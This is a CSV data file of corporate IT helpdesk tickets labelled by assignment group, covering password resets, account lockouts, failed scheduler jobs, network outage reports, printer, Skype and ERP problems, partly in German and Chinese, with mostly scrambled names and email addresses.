director_x000D_ +finance manager cee_x000D_ +yfqoaepn.xnezhsit@gmail.com_x000D_ +tel:+48(61)7767671_x000D_ +mob:+48 694 425 760_x000D_ +_x000D_ +company polska sp. z o.o. , ul. krzywoustego 7, 61-144 poznań, www.company.com<_x000D_ +_x000D_ +company polska sp. z o.o. z siedzibą w polandiu, 61-144 poznań, ul. krzywoustego 7._x000D_ +spółka zarejestrowana w sądzie rejonowym poznań-nowe miasto i wilda w polandiu, wydział viii gospodarczy krs pod numerem 1111286691._x000D_ +kapitał zakładowy 100 000 pln, nip 954-20-87-982._x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_0 +windows account lockout windows account lockout,GRP_0 +"撤回: ticket_no1564867 -- comments added + +received from: abcdri@company.com + +windy shi 将撤回邮件""ticket_no1564867 -- comments added""。 + + +本讯息仅供指定的接收人使用，其中可能包含适用法律项下特许的、保密的和禁止披露的内容。除指定的接收人外，严禁其他任何人传播、分发或复制本讯息。如果您误收到本讯息，请通知发件人并将讯息删除。 +[ +select the following link to view the disclaimer in an alternate language. ",GRP_0 +account locked in erp SID_34 account locked in erp SID_34,GRP_0 +"job Job_593 failed in job_scheduler at: 10/28/2016 04:11:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_593 failed in job_scheduler at: 10/28/2016 04:11:00",GRP_8 +"user needs training to use engineering tool to view drawings. user needs training to use engineering tool to view drawings._x000D_ +-connected to the user system using teamviewer._x000D_ +-help and educated the user on how login to business_client and view drawings._x000D_ +-issue resolved.",GRP_0 +"skype not working _x000D_ +_x000D_ +received from: rhwvpmlq.zuwhpqrc@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i am unable to access the skype . the password is showing error ._x000D_ +_x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01d2311d.d4c2e240]_x000D_ +_x000D_ +",GRP_0 +account unlock request. account unlock request.,GRP_0 +"[urgent!!] delivery note creation request!! + +received from: fbvpcytz.nokypgvx@gmail.com + +hello it team, + +could you please generate delivery note for below order? +we cannot issue dn for so#36199966 despite of enough stock for all of items at shipping plant… + +sales org : 500000 +delivery plant : plant_317 +shipping point : tys12456 + +so#36199966 +mm#6784736 1pc +mm#7415645 10pcs +mm#7415646 10pcs + +[cid:image002.jpg@01d23138.6a0c5b50] + + +",GRP_18 +"job Job_495 failed in job_scheduler at: 10/28/2016 03:12:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_495 failed in job_scheduler at: 10/28/2016 03:12:00",GRP_8 +"job Job_481 failed in job_scheduler at: 10/28/2016 02:51:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_481 failed in job_scheduler at: 10/28/2016 02:51:00",GRP_8 +error login on to the SID_34 system. error login on to the SID_34 system.,GRP_0 +unable to take print out from wy4678 unable to take print out from wy4678,GRP_19 +"job Job_487 failed in job_scheduler at: 10/28/2016 02:06:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_487 failed in job_scheduler at: 10/28/2016 02:06:00",GRP_12 +"unlock supply_chain_software account _x000D_ +_x000D_ +received from: fgehvwxb.ckxegsqv@gmail.com_x000D_ +_x000D_ +hi there,_x000D_ +_x000D_ +would you please help me unlock my supply_chain_software account and reset my supply_chain_software password? ",GRP_0 +"unable to access password_management_tool id password manager ijeqpkrz nwtehsyx grauw i try to change now my password acc. to attached e-mail but this don´t work. i was out of office for vacation time until now, but_x000D_ +password_management_tool link don´t work - please help_x000D_ +_x000D_ +_x000D_ +_x000D_ +your password expires in 13 day(s) _x000D_ +_x000D_ +the requirement to change your password every 90 days enhances data security within company. _x000D_ +_x000D_ +please login to _x000D_ +a step-by-step guide on using the self-service tool is available here: _x000D_ +_x000D_ +please do not reply to this email. if you require assistance, please submit a ticket to the global support center via any of these modes: _x000D_ +_x000D_ +ticketing_tool: _x000D_ +email: help@company.com _x000D_ +_x000D_ +kind ",GRP_2 +"job HostName_957fail failed in job_scheduler at: 10/28/2016 02:03:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job HostName_957fail failed in job_scheduler at: 10/28/2016 02:03:00",GRP_5 +unable to login to erp SID_34 unable to login to erp SID_34 ,GRP_0 +"crm license for user dfgry from: xdvwitpm zscxqdhoalaramdntyan +sent: friday, october 28, 2016 9:40 am +to: 'help@company.com' +cc: xyculgav cuqptoah +subject: fw: crm license for dfgry + +hello, + +crm is not installed in my laptop. + +please support me on this. + +",GRP_19 +unable to connect to vpn unable to connect to vpn,GRP_19 +"job Job_1854 failed in job_scheduler at: 10/28/2016 01:36:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1854 failed in job_scheduler at: 10/28/2016 01:36:00",GRP_8 +windows account locked windows account locked ,GRP_0 +apply for mobile phone access to mail box apply for mobile phone access to mail box,GRP_0 +data not correctly pulled for all the employees in the travel_tool attendee interface. data not correctly pulled for all the employees in the travel_tool attendee interface.,GRP_20 +"青岛兴合机电shipment notification邮箱设置 from: +sent: friday, october 28, 2016 7:20 am +to: nwfodmhc exurcwkm +subject: re: 青岛兴合机电shipment notification邮箱设置 + +dear， +pls help to update customer 4563729890 shipment notification email address : abcdegy@gmail.com + + +b. ",GRP_18 +"to recover folder that by mistake copied to x:\ drive i want recover folder_x000D_ +",GRP_0 +"job bkwin_HostName_770_inc failed in job_scheduler at: 10/27/2016 22:08:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkwin_HostName_770_inc failed in job_scheduler at: 10/27/2016 22:08:00",GRP_8 +"network outage: india: site hard down since at 8:34 pm et on 10/27. no backup circuit. what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___no______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _______8:34 pm et on 10/27_______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? __no_____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? _no_____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? _____na___ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ___na______ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _____na______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _na______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ____na____ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +password reset request password reset request,GRP_0 +user is not able to see all text in mails on his iphone user is not able to see all text in mails on his iphone,GRP_0 +password reset password reset ,GRP_0 +unable to sync all mails in outlook on wifi unable to sync all mails in outlook on wifi,GRP_0 +crm tab does not appear on outlook crm tab does not appear on outlook,GRP_0 +unable to submit expense report as it is locked by user unable to submit expense report as it is locked by user,GRP_0 +titcket update on inplant_874008 titcket update on inplant_874008,GRP_0 +i need to approve the new product requests below i need to approve the new product requests below,GRP_21 +ticket update on inplant_873870 ticket update on inplant_873870,GRP_0 +changed desktop wallpaper changed desktop wallpaper,GRP_0 +"unable to open website +name:xbdht yrjhd +language: +browser:microsoft internet explorer +email:aqjdvexo.lmedazjo@gmail.com +customer number: +summary: benefit advisor will not run in my browser.",GRP_0 +msd crm assign crm and e4 license to nyrjkctu tbhkenlo- use profile like qmglkaru qiwhfkdv.,GRP_22 +"sound _x000D_ +_x000D_ +received from: udetjzmn.ayueswcm@gmail.com_x000D_ +_x000D_ +good afternoon_x000D_ +_x000D_ +i am having issues again with my notebook in that i cannot get any sound and cannot participate in skype calls._x000D_ +_x000D_ +",GRP_0 +need the username to submit the insurance need the username to submit the insurance,GRP_0 +query on external browser query on external browser ,GRP_0 +unable to access benefits and other apps in hr_tool one time unable to access benefits and other apps in hr_tool one time. access denied. ,GRP_2 +"unable to see the current course in ethics unable to see the current course in ethics + +user id - bdtryh3456 +",GRP_23 +user clicked on driver update manually and then after restarting the machine he's receivng a error user clicked on driver update manually and then after restarting the machine he received an error stating pnp_detected_fatal_error ,GRP_0 +erp SID_37 account unlock erp SID_37 account unlock,GRP_0 +windows password reset windows password reset,GRP_0 +telephone number update telephone number update,GRP_0 +insurance information insurance information,GRP_0 +please give chrtyad345 access to reporting_tool ltaballotcsalesemp and map him to thrdy tgyu team as an ae in the virtual table please give chrtyad345 access to reporting_tool ltaballotcsalesemp and map him to thrdy tgyu team as an ae in the virtual table,GRP_2 +loud noise // gso loud noise // gso,GRP_0 +ess kiosk user password reset ess kiosk user password reset,GRP_0 +"network outage - warehouse: node company-ups-vpn-rtr is down 10/27/2016 9:54 am what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _______10/27/2016 9:54 am_______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _____no__ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___no___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___no_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"aw: ticket_no1561075 -- comments added + +received from: repyzajo.lxfwopyq@gmail.com + +hi , + +i have uacyltoe hxgayczeed in SID_1 and it works now correctly. +the accounting documents were generated automatically without any errors. +i am approving the change. + +[cid:image001.png@01d23073.3ecd7430] + + +best ",GRP_18 +erp SID_34 account unlock erp SID_34 account unlock,GRP_0 +"export shipment of grinding mahcine to khdgd1234, apac - advance information + +received from: rdfjsawg.zpmxgdcw@gmail.com + +from: hdytrkfiu +sent: thursday, october 27, 2016 4:46 pm +to: ; ; +cc: ; ; xjzcbgnp vfkwscao ; +subject: export shipment of grinding mahcine to khdgd1234, apac - advance information + +we are pushixepyfbga wtqdyoin for dispatching an grinding machine to khdgd1234, apac tomorrow. this is just for your advance information. once everything is in place, we will seek your support in your areas to help us in clearing this consignment tomorrow 28.10.16. ",GRP_0 +please add my work phone number to my profile contact phone ,GRP_0 +adding members to dl adding members to dl,GRP_0 +java issue on uacyltoe hxgaycze laptop. java issue on uacyltoe hxgaycze laptop.,GRP_19 +support für fa.gstry \arexjftu ohxdwngl support für fa.konnica \arexjftu ohxdwngl,GRP_24 +"probleme mit bluescreen . hallo , + +es ist erneut passiert. der pc hat sich zum wiederholten male aufgehängt und mir lediglich einen blauen bildschirm mit weisser schrift präsentiert. + +was können wir da machen? + +",GRP_24 +"job pp_EU_tool_netch_ap1 failed in job_scheduler at: 10/27/2016 09:54:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_netch_ap1 failed in job_scheduler at: 10/27/2016 09:54:00",GRP_8 +EU_tool crashes when confirmations are deleted - not able to remove scrap confirmations that have been rectified in erp EU_tool crashes when confirmations are deleted - not able to remove scrap confirmations that have been rectified in erp,GRP_25 +"enable bgdxitwu dhcopwxa' active directory account enable bgdxitwu dhcopwxa' active directory account + +name:fdgrty +email:kybgepnj.idszleru@gmail.com +summary:i need bgdxitwu dhcopwxa's active directory account enabled.",GRP_2 +sync emails issue sync emails issue,GRP_0 +internet explorer issues user is having issues with his internet explorer. the page keeps refreshing and ends up with a dll error.,GRP_3 +call for ecwtrjnq jpecxuty call for ecwtrjnq jpecxuty,GRP_0 +blank call blank call ,GRP_0 +unable to view payslips unable to view payslips,GRP_0 +"customer not getting order acknowledgements automatically + +received from: ourhmqta.tjwnqexo@gmail.com + +two customer accounts have not been getting the order acknowledgements automatically like they have been for the past 10 years. both are under the same top parent + +accts 81184926657 and 81862217657 should automatically be sending acknowledgements to hdyrugdty@gmail.com + +since october 14'th they have not been getting them. + +can someone look into this? this is affecting the customer paying the bills, as they use this acknowledgement as a receiver so they can pay the bill. + + +senior sales engineer +company, inc +ourhmqta.tjwnqexo@gmail.com + + + + +",GRP_13 +"production order locked. production order 226061609 is locked by user, gtxuamif pamxszek. no one has been able to unlock. can this order be unlocked? + +inspection lot 040001149576588 is being processed by gtxuamif pamxszek",GRP_14 +"i need access to finance section of hub + +received from: bwfhtumx.japznrvb@gmail.com + +i could always get into the finance section, and now i can't. i need access, please. + +[cid:image001.jpg@01d2302e.562bddf0] + +bwfhtumx japznrvb +regional controller +bwfhtumx.japznrvb@gmail.com +",GRP_16 +erp SID_34 account unlock and password reset erp SID_34 account unlock and password reset,GRP_0 +i've received the message below. can you tell me from whom the email mentioned was sent ? i've received the message below. can you tell me from whom the email mentioned was sent ?,GRP_26 +email address confirmation email address confirmation,GRP_0 +"erp pi and msd crm connectivity issue- serirtce certificate renewal hi all + +we have a connectivity issue between erp pi and msd crm due to certificate renewal on azure websites and that certificate is not yet updated on erp pi side. + +issue: changes to data records (accounts, sales area data, partner functions, contacts, leads) are not being processed from erp pi to +worked with IT + + +msd crm and vice versa in all environments (prod, qa and dev). +issue start time: 24th oct ~8:15pm + +troubleshooting steps: +1. when tryhdty from customer master team reported the issue that a prospect account created in erp didn't come into msd yet – erp pi team observed that the records are in ""still awaiting acknowledgement"" status – which basically means they are not yet delivered/received by the target system. +2. upon some log analysis and trying to identify the root cause between erp pi, basis and msd teams – it's been observed that the issue has started in production environment since around 8:15pm est on 24th oct. +3. we observed the same behavior with azure mfg_tool and erp pi logs of other non-production environments as well. +4. you can find error screenshots from erp pi system in the mail chain. + +root cause: it appears that the certificate for azure webapps have been updated on 29th sept 2016 as it is nearing the expiration date (11th jan 2017). but the new certificate is not updated on erp pi (they are not even aware of this change!). so, when the production azure webapp (company-crm-sp-mfg_toolt.azurewebsites.net) got restarted on 24th oct around 8:15pm – this connectivity appears to have been broken. + +next steps: +1. we need the azure webapp certificate chain to be sent to erp basis team so that they can update it on erp pi system. whom can i reach out to for receiving the certificate details? do we have an azure admin in house or do you want me to open a case with microsoft? +2. once certificate is received, maybe we can first do this on qa system and then upon confirmation that it works, we can apply it to production and other environments. +",GRP_14 +"printer problem / issue information please complete all required questions below. +if not, it will be returned back to the gsc / requester to provide required information + + • gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart. + + • printer name / make - model? (ex hq50 – wy98 - hp 8150) kd05 + + • detailed description of the problem ? error - says i need to download and install a software driver from the \\HostName_769 computer to print to kd05 + + • type of documents not printing? (email – excel – word…etc) word + (inwarehouse_tool – delivery note – production order…etc) + + • what system or application being used at time of the problem? (ex windows / erp /) windows + + • if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed? not sure what this means + + • if erp system, which system? (ex SID_34 / SID_38 / hrp / plm) not erp + + • if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily? not erp + what printer can it be rerouted too? + + • if document is not printing correctly, please scan copy of the document and attach to the ticketing_tool ticket.",GRP_3 +"power outage :australia australia: site hard down since at 7.31am et on 10/27. what type of outage: __x___network _____circuit _____power (please specify what type of outage) + +1. top 23 cert site ? _____no____ (yes/no/na) + +2. when did it start ? ______7.31am et on 10/27._______________ + +3. scheduled maintenance ( power) ? ____no___ (yes/no/na) company power _________ provider power _________ + +4. scheduled maintenance ( network) ? __no_____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ + +5. does site have a backup circuit ? yes______ (yes/no/na) + +6. backup circuit active ? ___no_____ (yes/no/na) + +7. site contact notified (phone/email) ? ____na_____ (yes/no/na) + +8. remote dial-in ? _____na______ (yes/no/na) + +9. equipment reset ? ____na_______ (yes/no/na) + +10. verified site working on backup circuit ? __na_____ (yes/no/na) + +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) ________global_telecom_2 # 272076960 _________________ + +12. notified gsc ___na_____ (yes/no/na) cert started ?________ (yes/no/na) + +13. additional diagnostics",GRP_8 +"unable to log into erp _x000D_ +_x000D_ +received from: ygkzwsud.cvjgkxws@gmail.com_x000D_ +_x000D_ +hello team,_x000D_ +_x000D_ +i am unable to log into my erp account, even the correct password id not accepted._x000D_ +_x000D_ +need resolution on very urgent basis._x000D_ +_x000D_ +",GRP_0 +windows password reset windows password reset,GRP_0 +"activate iphone iygsxftl hysrbgad set up a spare ""company owned"" iphone, cause the old one was broken._x000D_ +agreement and supervisors appoval is attached_x000D_ +now his account is quarantined._x000D_ +could you please activate his new device._x000D_ +",GRP_0 +"login issue login issue_x000D_ +-verified user details.(employee# & manager name)_x000D_ +-checked the user name in ad and reset the password._x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"unable to print to printer ic: welcome, our next available agent will be with you shortly... +ic: interaction alerting agent. +ic: website visitor has joined the conversation +ayrhcfxi zartupsw: hi +ayrhcfxi zartupsw: ",GRP_0 +"job Job_2668 failed in job_scheduler at: 10/27/2016 06:06:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2668 failed in job_scheduler at: 10/27/2016 06:06:00",GRP_8 +"outlook crashing ic: welcome, our next available agent will be with you shortly... +ic: interaction alerting agent. +ic: website visitor has joined the conversation +ayrhcfxi zartupsw: hello +gstdy yrada: hi +ayrhcfxi zartupsw: hello, ",GRP_27 +"need file restored on t drive ic: welcome, our next available agent will be with you shortly..._x000D_ +ic: interaction alerting agent._x000D_ +ic: website visitor has joined the conversation_x000D_ +ayrhcfxi zartupsw: hello, ",GRP_0 +"SID_1 logon balancing error ic: welcome, our next available agent will be with you shortly... +ic: interaction alerting agent. +ic: website visitor has joined the conversation +tyss ashdtyf: greetings +ayrhcfxi zartupsw: , hi +ayrhcfxi zartupsw: ",GRP_0 +"unable to login to sfb name:obanjrhg rnafleys +language: +browser:microsoft internet explorer +email:obanjrhg.rnafleys@gmail.com +customer number: +summary:hello, +problem signing in to skype",GRP_27 +"reset the password for fygrwuna gomcekzi on e-mail bitte passwort für fygrwuna gomcekzi e-mail zurücksetzen +bitte neues passwort zu cwrikael.oanmsecr@gmail.com (manager) ",GRP_0 +"password resetfor SID_37 _x000D_ +_x000D_ +received from: xyculgav.cuqptoah@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +please unlock and reset my password for SID_37 system._x000D_ +_x000D_ +",GRP_0 +babiluntr client license expired and client is now in uacyltoe hxgaycze mode - eagl8111495 - tel.: -474 babiluntr client license expired and client is now in uacyltoe hxgaycze mode - eagl8111495 - tel.: -474,GRP_28 +outbound calls not possible via germany pbx system - inbound calls are working fine - please check outbound calls not possible via germany pbx system - inbound calls are working fine - please check,GRP_28 +probleme mit laufwerk z: \laeusvjo fvaihgpx probleme mit laufwerk z: \laeusvjo fvaihgpx,GRP_24 +pls also extend mm#7389861 & 7421988 to my purchasing user account. need to create prs for both mm#. pls also extend mm#7389861 & 7421988 to my purchasing user account. need to create prs for both mm#. ,GRP_29 +"the t/o can not be generated for dn 8058611713 _x000D_ +_x000D_ +received from: gjtyswkb.dpvaymxr@gmail.com_x000D_ +_x000D_ +dear it,_x000D_ +_x000D_ +would you pls help to check dn 9169722824,t/o can not be generated for this dn, ",GRP_18 +"itry to open a excel file with microsoft online but not work name: +language: +browser:microsoft internet explorer +email:mfrsnagc.mhakdfjo@gmail.com +customer number: +summary:itry to open a excel file with microsoft online but not work",GRP_0 +"unable to login to hr_tool unable to login to hr_tool + +",GRP_0 +"vip2-i have been unable to access my pay&taxes tab for several days. hangs on a time clock. what do i need to do to reso from: gstdy tehdy +sent: thursday, october 27, 2016 11:53 am +to: vkjdgtxb pkinmjqs +subject: re: fw: access to e-time + +dear , + + +",GRP_0 +business_client not working business_client not working,GRP_0 +"reporting_tool erp hana error _x000D_ +_x000D_ +received from: lhejbwkc.xbmyvnqf@gmail.com_x000D_ +_x000D_ +hi_x000D_ +_x000D_ +everytime i want to set a filter in reporting_tool with data source_x000D_ +_x000D_ +pk_publish_pk_otc_billing_otc_billing_s_x000D_ +_x000D_ +i am getting below error message:_x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01d2302e.38de0930]_x000D_ +_x000D_ +",GRP_9 +"job bwhrattr failed in job_scheduler at: 10/27/2016 02:25:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bwhrattr failed in job_scheduler at: 10/27/2016 02:25:00",GRP_9 +"please reset my erp and bex password - seem to by not synchronized - thanks! + +received from: fmzdkyqv.dbrslnhe@gmail.com + +fmzdkyqv dbrslnhe + +director finance business +company + +fmzdkyqv.dbrslnhe@gmail.com + + + + +",GRP_0 +"netweaver funktioniert nicht mehr _x000D_ +_x000D_ +received from: fcyuqvoj.ajqeidlm@gmail.com_x000D_ +_x000D_ +hallo,_x000D_ +_x000D_ +netweaver funktioniert nicht mehr, bzw. kann ich nicht mehr öffnen._x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01d23026.26b6a440]_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_0 +"a kündigung for fgxprnub hlanwgqj, 11161827, effective 31.05.2017 has been approved. a kündigung for fgxprnub hlanwgqj, 11161827, effective 31.05.2017 has been approved. ",GRP_2 +"job Job_1854 failed in job_scheduler at: 10/27/2016 01:36:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1854 failed in job_scheduler at: 10/27/2016 01:36:00",GRP_8 +outlook setting is changed outlook setting is changed ,GRP_0 +"job Job_2584 failed in job_scheduler at: 10/27/2016 01:30:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2584 failed in job_scheduler at: 10/27/2016 01:30:00",GRP_8 +neues passwort für accountname tgryhu hgygrtui neues passwort für accountname tgryhu hgygrtui. passwort für diesen account funktioniert nicht mehr. mitarbeiter ist in kw4456 und 4567 auf frühschicht anwesend.,GRP_0 +check status tab is not appearing in purchasing screen check status button is not seen in my purchasing screen,GRP_0 +"printer problem / issue information drucker / scanner em85678 + + scanner findet pfad nicht mehr!",GRP_0 +"unable to open erp SID_34 while in office without logging in to vpn remote, i am unable to login to erp. it throws balancing error",GRP_0 +windows account locked windows account locked ,GRP_0 +"skype meeting _x000D_ +_x000D_ +received from: tfnzwycd.bicohjga@gmail.com_x000D_ +_x000D_ +hello_x000D_ +_x000D_ +provide me immediately the skype meeting options , presently it is not enabled_x000D_ +_x000D_ +[cid:image002.png@01d23031.68ed5240]_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +best ",GRP_0 +outlook收到箱中folder变为每天一个folder，office提示更新。 outlook收到箱中folder变为每天一个folder，office提示更新。,GRP_30 +"can not login skype _x000D_ +_x000D_ +received from: icvulkwh.udnyietg@gmail.com_x000D_ +_x000D_ +dear it,_x000D_ +_x000D_ +i can not login the skype, would you pls help to check it ,",GRP_31 +sn 04os20400001808 has been identified as unavailable via esrs monitoring services and you may have no esrs connectivity sn 04os20400001808 has been identified as unavailable via esrs monitoring services and you may have no esrs connectivity,GRP_12 +"unable to create delivery:mm#2110924 can print d/n, but can't post. detail information see attachment. please provide the following:_x000D_ +_x000D_ +what order number? _x000D_ +_x000D_ +what material or item number? mm#2110924_x000D_ +_x000D_ +what warehouse location? plant_308 0001 _x000D_ +_x000D_ +issue description / error message? see attachment",GRP_6 +erp SID_34 account locked erp SID_34 account locked ,GRP_0 +"unable to down load ethics module from: brdhdd dhwduw +sent: thursday, october 27, 2016 6:12 am +to: nwfodmhc exurcwkm +subject::fwd: unable to down load ethics module + + +begin forwarded message: +from: +to: +subject: unable to down load ethics module +hi – trust doing well . i am unable to down load & getting below msg. i did reset resolution however still same issue persist. + +please help. + + + + + +director of sales +company indirect channels - asia +& +dqwhpjxy.pozjxbey@gmail.com + + + + + + + +",GRP_0 +"转发: company email to private phone-hprdlbxf nozjtgwi _x000D_ +_x000D_ +received from: hprdlbxf.nozjtgwi@gmail.com_x000D_ +_x000D_ +all_x000D_ +_x000D_ +please help to set up the email access to my private own cell phone._x000D_ +_x000D_ +_x000D_ +best ",GRP_0 +"network outage: , india: site hard down since at 7:23 pm et at 10/26. no backup circuit. what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ________7:23 pm et at 10/26.______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __no____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___na_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _____na______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___na____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) ____telecom_vendor_1#25191486_____________________ _x000D_ +_x000D_ +12. notified gsc ___na_____ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +unable to log in to ess unable to log in to ess,GRP_0 +skype error while logging in skype error while logging in ,GRP_0 +vitalyst transfer: crm installation vitalyst transfer: crm installation ,GRP_0 +unable to access benefits tab unable to access benefits tab,GRP_0 +"laptop is very slow, any dialog bog i open is choppy & flickers.... delayed laptop is very slow, any dialog bog i open is choppy & flickers.... delayed",GRP_0 +ticket update on inplant_873601 ticket update on inplant_873601,GRP_0 +running full production and need erp update pushed out for several hours. summary:for saturday october 29 th we will be running full production and need erp update pushed out for several hours.,GRP_5 +india: 29060s-access-sw01 and sw02 went down at 02:12 pm et on 10/26. india: 29060s-access-sw01 and sw02 went down at 02:12 pm et on 10/26.,GRP_8 +need password reset need password reset,GRP_0 +issues with pdf viewer on iphone for davidthd issues with pdf viewer on iphone for davidthd,GRP_0 +engineering_tools not connected to network even though vpn is connected. engineering_tools not connected to network even though vpn is connected.,GRP_0 +"outlook/crm _x000D_ +_x000D_ +received from: anpocezt.qturbxsg@gmail.com_x000D_ +_x000D_ +are having issue with outlook and crm on our phone and computers?_x000D_ +_x000D_ +sent from my iphone_x000D_ +best ",GRP_0 +need erp password reset for hdty.yrhxssytu@company.com need erp password reset for hdty.yrhxssytu@company.com,GRP_0 +"i need security for the uacyltoe hxgaycze and dev copies of crm _x000D_ +_x000D_ +received from: azxhejvq.fyemlavd@gmail.com_x000D_ +_x000D_ +to do some general uacyltoe hxgayczeing and training i will need access to the training and development application for microsoft dynamics._x000D_ +_x000D_ +mikhghytr wafglhdrhjop_x000D_ +sr. manager, global ethics and compliance programdntys_x000D_ +o:724-539-5147 m:412-558-3346 f:866-635-3932_x000D_ +_x000D_ +company inc | 1600 technology way | usa pa 15650-0231_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_22 +"internal users are unable to download discount price file on distributor_tool / company center internal users are unable to download discount price file on distributor_tool / company center. the issue is probably related to the change made for ftp download. we need to fix issues aerp as this is causing lost sales. + +external users works fine. + +all, +zsdr0shstrud +is the price maintenance abap report for the pricing team to maintain price data in erp erp and it is going to be limited to pricing functions for all price related uploads into erp. + +however, the function ""distributor discount report"" from that report i don't see a problem to usa access also for internal users (especially as the external users seem to have already access to it): + + +best ",GRP_21 +unable to login to collaboration_platform unable to login to collaboration_platform,GRP_0 +unable to receive emails on company provided iphone unable to receive emails on company provided iphone,GRP_0 +windows password reset windows password reset,GRP_0 +EU_tool ist sehr langsadgtym \ywqgrbnx jwnsyzbv \jionmpsf wnkpzcmv EU_tool ist sehr langsadgtym \ywqgrbnx jwnsyzbv \jionmpsf wnkpzcmv,GRP_24 +request to reset microsoft online services password for sgblhypi.htqmidsn@gmail.com request to reset microsoft online services password for sgblhypi.htqmidsn@gmail.com,GRP_0 +alte eq abholen \wrcktgbd wzrgyunp alte eq abholen \wrcktgbd wzrgyunp,GRP_24 +probleme lan an tgeyd1 \we_wu113 \wrcktgbd wzrgyunp probleme lan an tgeyd1 \we_wu113 \wrcktgbd wzrgyunp,GRP_24 +support für we111\zlqfptjx xnklbfua support für we111\zlqfptjx xnklbfua,GRP_24 +"username locked + +received from: inhekdol.anvqzdif@gmail.com + +hello, + +username ""gdthryd""; mgvpoyqd tnlshpwb, is locked out of his computer. i am sending this message on his behalf. + +please help, + +inhekdol anvqzdif +quality technologist +inhekdol.anvqzdif@gmail.com + + + + +",GRP_0 +unable to connect to lan internet unable to connect to lan internet ,GRP_0 +install collaboration_platform install collaboration_platform,GRP_0 +request to reset microsoft online services password for hbcejwsz.cejsmdpf@gmail.com request to reset microsoft online services password for hbcejwsz.cejsmdpf@gmail.com,GRP_0 +ticket update ticket update ,GRP_0 +erp SID_34 account unlock erp SID_34 account unlock,GRP_0 +"cannot access guest wifi 